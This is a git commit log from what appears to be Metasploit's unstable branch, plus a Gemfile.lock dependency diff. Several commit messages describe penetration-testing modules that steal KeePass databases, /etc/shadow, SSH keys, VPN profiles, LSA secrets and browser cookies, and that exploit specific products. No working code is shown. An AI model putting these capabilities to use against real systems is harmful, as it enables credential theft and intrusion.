sinn3r 12bed05b8e Put #1917 in unstable until progress is made 2013-06-22 01:05:33 -05:00
William Vu cbffc31bbf Put #1005 in unstable until we can test it 2013-06-20 17:00:52 -05:00
William Vu 4a77f6d543 Put #1712 in unstable until the module is ready 2013-06-19 03:41:19 -05:00
sinn3r 19584083e7 Put #1939 in unstable until the exploit module is ready 2013-06-18 11:12:11 -05:00
jvazquez-r7 5e082f8e69 Put #1922 in unstable until we can test it 2013-06-13 18:43:31 -05:00
Davy Douhine b7b5190bf2 added aux module for PHP inj in SPIP CMS 2013-06-11 17:21:39 +02:00
sinn3r 1db53a6f25 Put #1913 in unstable
Unreliable dos
2013-06-10 14:25:30 -05:00
compound 066c58853a added MS13-037 textNode Use-after-free 2013-06-07 15:54:13 +12:00
Doug P 7b197b24c8 use Rex.sleep instead of select 2013-06-06 22:19:42 -04:00
Doug P bb3856a810 changed sleep to select. changed affected version from <= 1.2.0 to < 1.2.0 2013-06-06 17:20:23 -04:00
Doug P 88297814a1 added sleep 1 2013-06-06 16:11:50 -04:00
Doug P db0b273c50 changed to ::Remote::Tcp 2013-06-06 10:41:18 -04:00
Doug P 73e5bb5dc2 added configurable timeout to is_alive(). shuffled some exceptions around 2013-06-05 15:22:50 -04:00
Doug P 224ee713ef added print_status to last rescue 2013-06-05 13:11:16 -04:00
Doug P 71fe21eb24 fixed CVE line 2013-06-05 13:10:07 -04:00
Doug P a523a4975f git rid of comma in disclosure date 2013-06-05 13:09:02 -04:00
Doug P c7036ec905 made some edits to method, is_alive 2013-06-05 13:06:19 -04:00
Doug P 90991f102b added CVE 2013-06-05 12:41:53 -04:00
Doug P ef1b6e024d Gemfile.lock edit 2013-06-05 12:36:47 -04:00
Doug P 61d6e1071f Gemfile.lock edit 2013-06-05 12:32:39 -04:00
Doug P 75deaf4067 cleaning up branch 2013-06-05 12:22:58 -04:00
Doug P c0ef55071b edited description some 2013-06-05 12:18:21 -04:00
Doug P fde85af26e ... 2013-05-29 11:47:18 -04:00
Doug P 03f527c8a0 ... 2013-05-24 18:34:55 -04:00
Doug P 961003f61d bundle install 2013-05-24 18:31:34 -04:00
Doug P e510523fe9 added monkey_null 2013-05-24 18:28:50 -04:00
Doug P 9a1ebf424d upstream pull 2013-05-24 18:26:54 -04:00
Tod Beardsley 7106afdf7d Adding this SAP module to unstable for now.
Problem came up in testing, will restore once this gets resolved.
2013-05-02 13:41:38 -05:00
Doug P 183913b690 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-17 09:34:22 -04:00
Doug P 6ce5880bdc ... 2013-04-12 16:25:16 -04:00
Doug P 313d6f666d messing with Gemfiles 2013-04-12 16:24:15 -04:00
RogueBit d3f7e0344f Updated module-uptime-enum uptimesoftware.com service enumerator to resolve styling issues. 2013-04-08 14:21:11 -06:00
RogueBit dce4e5a011 added module-uptime-enum uptime.com service enumerator 2013-04-08 11:59:21 -06:00
sinn3r 6bb008a0ed Please see: https://github.com/rapid7/metasploit-framework/pull/1401 2013-02-05 16:51:58 -06:00
sinn3r 2a02bc38c4 Merge branch 'bcoles-scrollout_loadlogs_exec' into unstable 2013-02-05 16:51:07 -06:00
sinn3r 1d3aec5220 Merge branch 'scrollout_loadlogs_exec' of github.com:bcoles/metasploit-framework into bcoles-scrollout_loadlogs_exec 2013-02-05 16:50:53 -06:00
bcoles 2ec2e4595e Add Scrollout loadLogs Command Execution exploit 2013-01-29 13:04:37 +10:30
corleone e00c79a4cc Better parameter handling
The DHOST parameter is passed as a function parameter to the mixin. The
module handles the datastore now.
2013-01-18 13:45:59 +01:00
sinn3r 8595230eb0 Incomplete module because does not bypass DEP (default) 2013-01-17 12:26:36 -06:00
sinn3r dbe731f111 Merge branch 'svnk42-foxit_reader_plugin' into unstable 2013-01-17 12:26:09 -06:00
sinn3r e3e1e14d2d Merge branch 'foxit_reader_plugin' of github.com:svnk42/metasploit-framework into svnk42-foxit_reader_plugin 2013-01-15 16:35:18 -06:00
svnk ad29d2096d Code improvement suggested by sinn3r 2013-01-15 23:08:21 +01:00
svnk 18b6e2781c Remove unneeded include 2013-01-15 21:48:56 +01:00
svnk b166b4ba2a Improve module, nearly stable 2013-01-15 21:28:51 +01:00
svnk 147e18ba6a Add module for Foxit Reader Plugin (SA51733)
Add exploit module for a stack-based buffer overflow in the Foxit Reader
browser plugin when processing URLs.
2013-01-13 21:25:24 +01:00
sinn3r 0b06ce432b Move to the correct dirs 2012-12-27 16:53:19 -06:00
sinn3r 0881bebc7a Merge branch 'unstable' of github.com:rapid7/metasploit-framework into unstable 2012-12-27 16:50:44 -06:00
sinn3r e285bdfbb2 Merge branch 'gauravEsec-Plesk-CVE-2012-1557' into unstable 2012-12-27 16:50:09 -06:00
sinn3r 107d63b98f Conflict 2012-12-27 16:49:48 -06:00
sinn3r b25e2a319a Merge branch 'Plesk-CVE-2012-1557' of git://github.com/gauravEsec/metasploit-framework into gauravEsec-Plesk-CVE-2012-1557 2012-12-27 16:42:40 -06:00
Gaurav Baruah 2c1fc9123d made requested changes 2012-12-25 11:18:15 +05:30
sinn3r dd15cfa5c0 Merge branch 'Plesk-CVE-2012-1557' of git://github.com/gauravEsec/metasploit-framework into gauravEsec-Plesk-CVE-2012-1557 2012-12-23 23:40:05 -06:00
Gaurav Baruah 5f728909f4 Added Plesk SQL Injection Exploit for CVE-2012-1557 2012-12-24 08:53:00 +05:30
sinn3r 032dcd2472 Move beehive module 2012-12-13 02:20:58 -06:00
sinn3r a67ae3bc14 Leave the PR URL 2012-12-13 02:18:21 -06:00
sinn3r 1278c03e49 Merge branch 'jvazquez-r7-beehive_upload' into unstable 2012-12-13 02:17:30 -06:00
jvazquez-r7 13dd49d1a6 up to date 2012-11-24 13:09:20 +01:00
sinn3r e4965ad56b Explain why this is in unstable/incomplete 2012-11-21 15:42:20 -06:00
sinn3r 1e19620df6 Merge branch '7Elements-splunk_upload_app_exec' into unstable 2012-11-21 15:36:28 -06:00
sinn3r 0b4840b45e Use Rex to craft the MIME message 2012-11-16 15:30:07 -06:00
sinn3r 02598d5e62 Cosmetic changes, mostly 2012-11-16 15:12:16 -06:00
sinn3r 15fdc3478e Merge branch 'splunk_upload_app_exec' of git://github.com/7Elements/metasploit-framework into 7Elements-splunk_upload_app_exec 2012-11-16 12:30:10 -06:00
Marc Wickenden c936c3f30d fixed all warnings from msftidy 2012-11-16 11:12:46 +00:00
sinn3r f5348a13f4 Merge branch 'splunk_upload_app_exec' of git://github.com/7Elements/metasploit-framework into 7Elements-splunk_upload_app_exec 2012-11-16 04:06:32 -06:00
corleone 3a1009cd0f There are no accessors for the typereps variables in this version. 2012-11-14 19:30:25 +01:00
corleone f8fe1d1275 Received some comments for the pull request and this commit solves the most simple ones:
- () usage
- for cycle
- trailing comma
2012-11-14 18:42:35 +01:00
Marc Wickenden 803b3da33b - fixed typo use of print_info instead of print_status
- use OptPath for the SPLUNK_APP_FILE
2012-11-13 22:12:06 +00:00
Marc Wickenden 549e430191 added advanced option to increase delay waiting for command output 2012-11-13 16:25:49 +00:00
Marc Wickenden 0519376c46 addition of blog post URLs 2012-11-13 14:30:58 +00:00
Marc Wickenden 04032a712b Multiple improvements
- Overhauled Splunk app to format and return output
- Converted to non-streaming app to enable output
- Added advanced options for disabling command output,
	forcing upload to overwrite (if you change the app tgz),
	disabling upload if you've already uploaded once
2012-11-13 10:01:20 +00:00
Marc Wickenden bd1e39dc2b improvements to app so data is written back to Splunk 2012-11-12 15:42:12 +00:00
Marc Wickenden cb3e6add9a re-ordered status message so variable defined when called 2012-11-11 02:21:57 +00:00
Marc Wickenden 116cae37ef remove rex/tar require as not yet implemented 2012-11-11 02:18:05 +00:00
Marc Wickenden d9d59a7164 addition of exploit module for script command in Splunk 2012-11-11 02:16:07 +00:00
corleone cbf29db377 The SID parameter is now required. 2012-11-03 15:50:30 +01:00
corleone 8754998e84 Just some clean up... 2012-11-03 15:36:37 +01:00
corleone 740295e83f Just some clean up... 2012-11-02 23:06:38 +01:00
corleone f4467819cf Just some clean up. 2012-11-02 23:04:08 +01:00
sinn3r 39a9f2603d Add OSVDB-86598 - no code exe, can only upload 2012-10-30 18:27:52 -05:00
corleone 1203496611 Added the module and the related mixins to metasploit. 2012-10-24 20:52:38 +02:00
sinn3r 19ab9e3089 Merge branch 'schierlm-msftidy-2-unstable' into unstable
Conflicts:
	unstable-modules/post/enum_lsa.rb
	unstable-modules/post/keepass_jacker.rb
	unstable-modules/post/killmcafee.rb
	unstable-modules/post/openvpn_profiles_jack.rb
	unstable-modules/post/unpriv_wmic.rb
2012-10-23 20:24:14 -05:00
Michael Schierl 4765009259 Add msftidyscan module to unstable branch
It still has a bunch of TODOs and other incomplete stuff, but as I
understand it, that is what unstable repo is for, and it might be useful
for others to get a "definitive" list of what should and should not be in
an info hash.
2012-10-23 21:53:35 +02:00
Michael Schierl cad6fee858 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 21:53:33 +02:00
Michael Schierl d30a649e0c Platform/Arch/Privileged cleanup 2012-10-23 19:54:14 +02:00
Michael Schierl 9cf88abe23 Author cleanup 2012-10-23 19:54:12 +02:00
Michael Schierl 018af4efe2 DisclosureDate cleanup 2012-10-23 19:54:10 +02:00
Michael Schierl 442195d988 References cleanup 2012-10-23 19:54:08 +02:00
Michael Schierl 9ce2af1700 Version cleanup 2012-10-23 19:54:06 +02:00
sinn3r 850fa29513 Move to incomplete until all the features are complete 2012-08-21 14:42:00 -05:00
sinn3r e421631799 Merge branch 'sempervictus-kill_by_name' into unstable 2012-08-21 14:41:21 -05:00
sinn3r 65fe03c9d0 Merge branch 'kill_by_name' of https://github.com/sempervictus/metasploit-framework into sempervictus-kill_by_name 2012-08-21 14:40:53 -05:00
sinn3r ad7588c8ef To incomplete branch while we wait for author to make changes 2012-08-21 14:29:54 -05:00
sinn3r 634d4aa07e Merge branch 'balgan-master' into unstable 2012-08-21 14:28:15 -05:00
sinn3r 7bc3192a77 Merge branch 'master' of https://github.com/balgan/metasploit-framework into balgan-master 2012-08-21 14:27:57 -05:00
RageLtMan ba8d3e5296 Process killer module
This post module came out of testing for the .NET compiler
and the need to kill lots of child processes during development.
It takes a list of PIDs and/or names, finds the corresponding
PIDs, subtracts its own (suicide prevention), and a whitelist
if given. Resulting kill list is terminated.
2012-08-18 11:13:21 -04:00
Tiago Henriques 91367ecbc9 Added 2 post modules for windows
-Keepass jacker will kill keepass process and then look for kdbx files
on users document and desktop and download them. (next step for this
module will be to lock keepass, activate keyboard sniffing as to try to
steal master password) also need to make it compatible with OLD keepass
files aka .kdb
-OpenVPN profiles jack - will go to the default folder that contains the
profiles used for auto connect on OpenVPN GUI client and download them
these can allow an attacker to automatically connect to the vpn!
2012-07-26 04:21:07 +01:00
Tiago Henriques ae297906bd deleted files that werent accepted
Pass them to my own repo
2012-07-24 00:16:01 +01:00
Tiago Henriques b784b48d02 Keepass jacker for POST windows
This module will kill the keepass process and try to find .kdbx files on
Documents and Desktop and downloads them. Next step for version 0.2 will
be to LOCK keepass instead of killing it and starting the keyboard
sniffer as to automate getting the password associated with this kdbx
file. Also I'll need to add looking for old version keepass files, .KDB
!
2012-07-24 00:08:14 +01:00
Tiago Henriques 34b3bb6d07 Revert "Module kills keepass and tries to find .kdbx files"
This reverts commit 08a23514a7190479a52b11651685e6ff969e9bb2.
2012-07-24 00:08:13 +01:00
Tiago Henriques 61cee1dacd Module kills keepass and tries to find .kdbx files
This module will kill the keepass process and try to find .kdbx files on
Documents and Desktop and downloads them. Next step for version 0.2 will
be to LOCK keepass instead of killing it and starting the keyboard
sniffer as to automate getting the password associated with this kdbx
file. Also I'll need to add looking for old version keepass files, .KDB
!
2012-07-24 00:08:12 +01:00
Tiago Henriques abf2b68b63 Linux post modules that download important info
This module will download /etc/passwd /etc/shadow and try to find SSH
keys and download them, 2 versions one for payload shell and other one
for meterpreter
2012-07-24 00:08:12 +01:00
sinn3r 465a6f3b98 This module is now in the master branch
Can be found as post/windows/gather/enum_files.rb
with the latest update:
4004b544c0
2012-06-24 12:38:27 -05:00
Johnny Vestergaard 93bfd9fce7 Typo 2012-06-16 22:39:14 +03:00
sinn3r 5690cb5d19 Move gather_files to the incomplete branch
This module is still incomplete as a pull request, so we're
moving this to the incomplete branch until it's actually done.
2012-06-13 11:18:24 -05:00
sinn3r e926f9ca82 Merge branch '3vi1john-gather_files' into unstable 2012-06-13 11:17:48 -05:00
sinn3r 742c3b48ca Merge branch 'gather_files' of https://github.com/3vi1john/metasploit-framework into 3vi1john-gather_files 2012-06-13 11:16:27 -05:00
3vi1john 040936ed6b added Post Windows module gather files 2012-06-11 18:27:19 -04:00
sinn3r 395caafefa Move enum_lsa to incomplete until it's improved.
The exception handling in get_secret() is undesirable. I've asked
the author to improve this, but until then, this stays in the
incomplete branch.
2012-06-11 12:05:26 -05:00
sinn3r 69c16b3c7d Merge branch 'evilwurst-module-enum-lsa' into unstable 2012-06-11 12:05:04 -05:00
sinn3r bdf91b0060 Merge branch 'module-enum-lsa' of https://github.com/evilwurst/metasploit-framework into evilwurst-module-enum-lsa 2012-06-11 12:04:54 -05:00
sinn3r fb4f65ddfd Holding this in the incomplete (untested) branch.
BOA by default doesn't have basic auth, so this module only works
on specific devices. We're waiting for a pcap from the original
author to show it's in working condition.
2012-06-11 02:01:33 -05:00
sinn3r 0635e4542f Merge branch 'mdietz94-module-boa-dos' into unstable 2012-06-11 02:01:14 -05:00
sinn3r 410f81f0ea Move this module to unstable for further processing 2012-06-10 18:29:03 -05:00
sinn3r c5d3887da5 Merge branch 'johnnykv-cookie-logger' into unstable 2012-06-10 18:28:00 -05:00
sinn3r 8653c77279 Merge branch 'cookie-logger' of https://github.com/johnnykv/metasploit-framework into johnnykv-cookie-logger 2012-06-10 18:27:02 -05:00
sinn3r 2d7b2a57b2 Merge branch 'module-boa-dos' of https://github.com/mdietz94/metasploit-framework into mdietz94-module-boa-dos 2012-06-10 01:29:42 -05:00
Max Dietz 88bcf430d3 fixed whitespace, now compliant with msftidy.rb 2012-06-08 17:16:13 -04:00
Max Dietz 790108045f tested and functional on servers through 0.94.11 2012-06-07 18:27:48 -04:00
Max Dietz 84fee2683b cleaned up the check function 2012-06-07 00:32:25 -04:00
Max Dietz f076233f58 whitespace cleanup 2012-06-07 00:18:41 -04:00
Max Dietz 746e698585 uses HttpClient now, and is in general much nicer code. 2012-06-07 00:14:54 -04:00
Max Dietz 2cdcba65f5 realized ranking was only for exploits, added output to aid with checking whether or not the password was changed or denial of service was achieved. also added some error handling 2012-06-06 20:45:01 -04:00
Max Dietz 8d81eb9280 realized ranking was only for exploits, added output to aid with checking whether or not the password was changed or denial of service was achieved. also added some error handling 2012-06-06 20:42:02 -04:00
Max Dietz a1d0f2eb1d fixed description 2012-06-06 17:46:42 -04:00
Max Dietz f4bea53bd1 added Boa HTTPd DoS 2012-06-06 17:42:07 -04:00
Rob Bathurst 29cb03140e updated to remove non-printable characters from output 2012-05-31 23:21:17 -04:00
Rob Bathurst 84169a8cb1 added post module with ability to enumerate LSA Secrets and dump decrypted creds to loot 2012-05-31 14:16:32 -04:00
Tod Beardsley 48e96e757f Adding Powershell post module to unstable
Just so we don't lose it.

[See #251]
2012-05-18 16:44:10 -05:00
sinn3r 595df442a2 Delete vmware_update_manager_traversal.rb, because the latest
version is committed to master. Applied in changeset:
f4a446a6c1
2012-05-14 17:52:37 -05:00
Johnny Vestergaard f9a18cd655 Added file logging capability using store_loot 2012-04-29 00:41:25 +02:00
sinn3r 2ac59b27bb Put snortdcerpc.rb as incomplete, because this needs to be merged and tested with the current version that's in master 2012-04-12 03:48:55 -05:00
sinn3r f3e060294c Merge branch 'unstable' of github.com:rapid7/metasploit-framework into unstable 2012-04-10 22:58:09 -05:00
sinn3r 32ccbbbe45 Put dameware_mrc4.rb in unreliable due to bad rets. 2012-04-10 22:55:43 -05:00
Johnny Vestergard dfed9e2864 now working with random URIPATH 2012-03-23 09:00:17 +01:00
Johnny Vestergard e18f4dd40e removed ununsed variable 2012-03-23 07:53:59 +01:00
Johnny Vestergard 76dad50dd7 better description 2012-03-22 21:12:36 +01:00
Johnny Vestergard 67e16aed62 remove TODO method 2012-03-22 13:11:40 +01:00
Johnny Vestergard db447932c0 cleanup 2012-03-22 13:09:45 +01:00
Tod Beardsley 5dbb395e24 Adding enum_bing_url to unstable. 2012-03-21 09:32:59 -05:00
Johnny Vestergard 2477978613 typo 2012-03-21 12:01:01 +01:00
Johnny Vestergard e7974c50bb cookie logger XSS module 2012-03-21 11:56:32 +01:00
sinn3r 83ee6f65ef Put pull request 246 to unstable, because a lot of work is still required for proper implementation 2012-03-20 11:33:25 -05:00
sinn3r cb6e187a39 Put UPlusFTP Server to the incomplete branch 2012-03-16 01:10:45 -05:00
sinn3r 2765cf1ad7 Add untested Cisco ACS 4.1 UCP module to unstable-modules. Cannot install UCP: "The parameter is incorrect" 2012-02-24 15:19:01 -06:00
sinn3r 30f958206e Add Death Shadow Dark's untested yahoo player m3u exploit 2012-02-18 03:13:19 -06:00
sinn3r 4fc5b143f8 This thing shouldn't be here. good bye 2012-02-10 13:06:30 -06:00
sinn3r 5af77686ab Correct pull request number 2012-02-10 13:05:30 -06:00
sinn3r 2369ee9dc9 This one is in the wrong path 2012-02-10 12:57:27 -06:00
sinn3r 26e86e97cd Move hp_dataprotector_cmdexec to the correct directory 2012-02-10 12:49:36 -06:00
sinn3r e726e35144 Add pull request 193 2012-02-10 12:37:10 -06:00
sinn3r 91dca74f85 Merge branch 'unstable' of github.com:rapid7/metasploit-framework into unstable 2012-02-10 12:34:23 -06:00
sinn3r 1e04d27e52 Update modules/exploits/multi/misc/hp_dataprotector_cmdexec.rb 2012-02-10 12:32:28 -06:00
sohilgarg bd9e1f8d76 Update modules/exploits/multi/misc/hp_dataprotector_cmdexec.rb 2012-02-10 12:29:25 -06:00
sohilgarg 10c9200d8e Update modules/exploits/multi/misc/hp_dataprotector_cmdexec.rb
Conflicts:

	modules/exploits/multi/misc/hp_dataprotector_cmdexec.rb
2012-02-10 12:25:09 -06:00
Tod Beardsley d8f3bbc35e Adding javascript_keylogger to unstable for now. 2012-02-06 09:34:45 -06:00
Tod Beardsley b73f28f295 Adding the d20tftp ansync backdoor module.
It works as is, but needs some strategy to get this usuable in all UI
contexts. Right now, it's pretty msfconsole dependant. One way to fix
would be simply to have a datastore['CMD'] option and have that be the
default usage -- control the interactive bit with a seperate action
entirely.
2012-01-19 10:28:39 -06:00
Tod Beardsley f737643447 Moving telnet_encrypt_keyid_bruteforce.rb to unstable-modules
Missing some things. An ExploitRanking to start, also has some hardcoded
NOPs, and really probably should just be combined with the existing
targeted module.
2012-01-11 14:02:19 -06:00
Tod Beardsley 60520ccc8c Adds clshack's transparent WebRICK http proxy.
Can't really use as is because it uses WebRICK instead of
Msf::Exploit::Remote::HttpServer .
2012-01-09 08:00:46 -06:00
Tod Beardsley 66c55cfc6d Moving winlocalprv_esc out of unstable
Or else I will forget to do it later.

See commit e204923 for comments there.

[See #5211]
2011-12-30 14:57:25 -06:00
Tod Beardsley c0e762335e Moving DDG into aux, whoops. 2011-12-30 13:18:11 -06:00
mHarshal ef7246f409 update KBlist and winlocalprv_esc.rb reference ticket: http://dev.metasploit.com/redmine/issues/5211 2011-12-30 13:09:05 -06:00
Tod Beardsley 6a5ccf7c1e Adding some warning comments to duckduckpassword.
Basically, these should never ship as-is, because:

  * It makes more sense to implement as a plugin.
  * As a module, it's pretty incompatible with Metasploit CE.
  * It violates DDG's terms of service, and will get you blacklisted by DDG

But, it uses some neat techniques that maybe some other, more sane and
stable modules, could make use of.
2011-12-30 11:04:44 -06:00
Tod Beardsley ebbf2f48d2 Moving duckduckpassword module and script to unstable. 2011-12-30 11:01:40 -06:00
Tod Beardsley 4bb959e504 Adds a hash looker-upper, and a resource script to automate it. 2011-12-30 10:56:40 -06:00
Tod Beardsley 1298377f04 Initial commit of DuckDuckPassword module 2011-12-30 10:56:28 -06:00
Tod Beardsley 8ca20488bc Syncing unstable project with unstable branch
See #6078, moving the Dameware module out of the unstable project and
dropping into the unstable branch.
2011-12-19 09:16:46 -06:00
Tod Beardsley f11aed7175 Merge branch 'issue_3386_cisco' into unstable
See #3386. Merging pello's Cisco VPN groupname module into unstable,
pending more work to get it included in master.
2011-12-18 11:07:06 -06:00
Tod Beardsley 8f8c10171d Merge branch 'master' of github_r7:rapid7/metasploit-framework into unstable 2011-12-18 10:55:17 -06:00
Tod Beardsley 7fe6b31354 Merge branch 'master' of github_r7:rapid7/metasploit-framework into issue_3386_cisco 2011-12-18 10:54:42 -06:00
Tod Beardsley 391752d815 Merge branch 'unstable' of github_r7:rapid7/metasploit-framework into unstable 2011-12-16 22:39:15 -06:00
Tod Beardsley b9b33afbde Adding a README specifically for the unstable branch.
If you see the README.unstable file in the master branch, it means
something's gone horribly wrong. Unstable should never be merged back to
master directly, though individual modules (once they're no longer
unstable) can and hopefully will make it up into master.
2011-12-16 22:37:22 -06:00
Tod Beardsley 2645b34a5a Adding pello's EAP-MD5 bruteforce module
See #4439.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:22 -06:00
Tod Beardsley 13b401558c Adding pello's hsrp_hijacking module.
See #4568. Note that this module was originally written for Racket, so
it needs to be converted to PacketFu.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:22 -06:00
Tod Beardsley 27fe357478 Adding YGN's joomla_filter_order_aux module
See #4660.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:21 -06:00
Tod Beardsley 992ab6ba38 Adding YGN's dns_mitm module
See #4711.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:21 -06:00
Tod Beardsley d2b7c83d7d Adding Marc's virusscan_bypass8_8 meterpreter script
See #4721.

This is part of an effort to move modules (and scripts)
from Redmine and drop them into GitHub for easier tracking
and collaboration.
2011-12-16 22:37:21 -06:00
Tod Beardsley 0a7cf7d625 Adding Kx449's unpriv_wmic module
See #5205.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:21 -06:00
Tod Beardsley db83e02705 Adding Harshal's winlocalprv_esc module
See #5211.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:20 -06:00
Tod Beardsley 4b51535616 Adding KP's oracle_erp_sqli1 module
See #5384.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:20 -06:00
Tod Beardsley 6d6220f402 Adding Jeremy's syslog vploit modules
See #5479.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:20 -06:00
Tod Beardsley 9a4d105aed Adding jabra's local_admin_pwnage_scanner
See #5514.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:19 -06:00
Tod Beardsley fe849d665a Adds jabra's enum_users script to unstable
See #5794.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
2011-12-16 22:37:19 -06:00
Tod Beardsley 8a36bf7d09 Moving arachni, part two 2011-12-16 22:37:19 -06:00
Tod Beardsley cf6445a21c Moving arachni to the unstable-plugins dir 2011-12-16 22:37:18 -06:00
Tod Beardsley 115dcd275f Adds the Arachni plugin and modules to unstable
See #3028. Adding the arachni material to unstable. In order to commit
to master, these need to be tested, but I've run into a few small
problems with getting Arachni functional (see
https://github.com/Zapotek/arachni/issues/119 for my gem woes)

I'll loop back around to that.

Also, the arachni plugin includes some kind of autopwn-like feature. I'm
not sure what it does yet but it seems long and complicated, and
probably should be removed at this point, given the lack of the other
autopwners.
2011-12-16 22:37:18 -06:00
Tod Beardsley cbca39032b Moving the unstable project to metasploit proper.
This includes a ton of incomplete, unreliable, and otherwise unstable
modules. They all had some work done on them at some point, but need
some fostering in order to get promoted into the master Metasploit
branch.

Moving them here will hopefully bring a little more visibility to these
projects, and in many cases, be a nice starting point for someone who
wants to get started contributing to Metasploit Framework.
2011-12-16 22:37:17 -06:00
Tod Beardsley bd63c76823 Adds the Arachni plugin and modules to unstable
See #3028. Adding the arachni material to unstable. In order to commit
to master, these need to be tested, but I've run into a few small
problems with getting Arachni functional (see
https://github.com/Zapotek/arachni/issues/119 for my gem woes)

I'll loop back around to that.

Also, the arachni plugin includes some kind of autopwn-like feature. I'm
not sure what it does yet but it seems long and complicated, and
probably should be removed at this point, given the lack of the other
autopwners.
2011-12-13 15:57:56 -06:00
Tod Beardsley 3e3e46700f Moving the unstable project to metasploit proper.
This includes a ton of incomplete, unreliable, and otherwise unstable
modules. They all had some work done on them at some point, but need
some fostering in order to get promoted into the master Metasploit
branch.

Moving them here will hopefully bring a little more visibility to these
projects, and in many cases, be a nice starting point for someone who
wants to get started contributing to Metasploit Framework.
2011-12-13 15:38:03 -06:00
Tod Beardsley 3d18c26fd9 Convert from Bit-Struct to regular struct, some other cleanup work. 2011-12-02 17:12:29 -06:00
Tod Beardsley ddcb01d77e See #3386, initial commit for 2010-4354.
Post-MSFtidy, still needs a bunch of work tho (see ticket)
2011-12-02 15:00:36 -06:00
300 changed files with 26767 additions and 9016 deletions
+56 -50
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.12.12)
metasploit-framework (4.12.15)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -14,9 +14,11 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.1.12)
metasploit-payloads (= 1.1.13)
metasploit_data_models
metasploit_payloads-mettle
msgpack
net-ssh
network_interface
nokogiri
octokit
@@ -33,6 +35,7 @@ PATH
rex-powershell
rex-random_identifier
rex-registry
rex-struct2
rex-text
rex-zip
robots
@@ -45,27 +48,27 @@ PATH
GEM
remote: https://rubygems.org/
specs:
actionpack (4.2.6)
actionview (= 4.2.6)
activesupport (= 4.2.6)
actionpack (4.2.7)
actionview (= 4.2.7)
activesupport (= 4.2.7)
rack (~> 1.6)
rack-test (~> 0.6.2)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
actionview (4.2.6)
activesupport (= 4.2.6)
actionview (4.2.7)
activesupport (= 4.2.7)
builder (~> 3.1)
erubis (~> 2.7.0)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
activemodel (4.2.6)
activesupport (= 4.2.6)
activemodel (4.2.7)
activesupport (= 4.2.7)
builder (~> 3.1)
activerecord (4.2.6)
activemodel (= 4.2.6)
activesupport (= 4.2.6)
activerecord (4.2.7)
activemodel (= 4.2.7)
activesupport (= 4.2.7)
arel (~> 6.0)
activesupport (4.2.6)
activesupport (4.2.7)
i18n (~> 0.7)
json (~> 1.7, >= 1.7.7)
minitest (~> 5.1)
@@ -96,16 +99,16 @@ GEM
ffi (~> 1.0, >= 1.0.11)
coderay (1.1.1)
contracts (0.14.0)
cucumber (2.3.3)
cucumber (2.4.0)
builder (>= 2.1.2)
cucumber-core (~> 1.4.0)
cucumber-core (~> 1.5.0)
cucumber-wire (~> 0.0.1)
diff-lcs (>= 1.1.3)
gherkin (~> 3.2.0)
gherkin (~> 4.0)
multi_json (>= 1.7.5, < 2.0)
multi_test (>= 0.1.2)
cucumber-core (1.4.0)
gherkin (~> 3.2.0)
cucumber-core (1.5.0)
gherkin (~> 4.0)
cucumber-rails (1.4.3)
capybara (>= 1.1.2, < 3)
cucumber (>= 1.3.8, < 3)
@@ -123,10 +126,10 @@ GEM
railties (>= 3.0.0)
faraday (0.9.2)
multipart-post (>= 1.2, < 3)
ffi (1.9.10)
ffi (1.9.14)
filesize (0.1.1)
fivemat (1.3.2)
gherkin (3.2.0)
gherkin (4.0.0)
i18n (0.7.0)
jsobfu (0.4.1)
rkelly-remix (= 0.0.6)
@@ -150,7 +153,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.1.12)
metasploit-payloads (1.1.13)
metasploit_data_models (2.0.0)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -161,16 +164,18 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.0.5)
method_source (0.8.2)
mime-types (3.0)
mime-types (3.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2016.0221)
mime-types-data (3.2016.0521)
mini_portile2 (2.1.0)
minitest (5.8.4)
msgpack (0.7.6)
multi_json (1.12.0)
minitest (5.9.0)
msgpack (1.0.0)
multi_json (1.12.1)
multi_test (0.1.2)
multipart-post (2.0.0)
net-ssh (3.2.0)
network_interface (0.0.1)
nokogiri (1.6.8)
mini_portile2 (~> 2.1.0)
@@ -190,7 +195,7 @@ GEM
activerecord (>= 4.0.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.10.3)
pry (0.10.4)
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
@@ -205,12 +210,12 @@ GEM
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.3)
loofah (~> 2.0)
railties (4.2.6)
actionpack (= 4.2.6)
activesupport (= 4.2.6)
railties (4.2.7)
actionpack (= 4.2.7)
activesupport (= 4.2.7)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (11.1.2)
rake (11.2.2)
rb-readline-r7 (0.5.2.0)
recog (2.0.21)
nokogiri
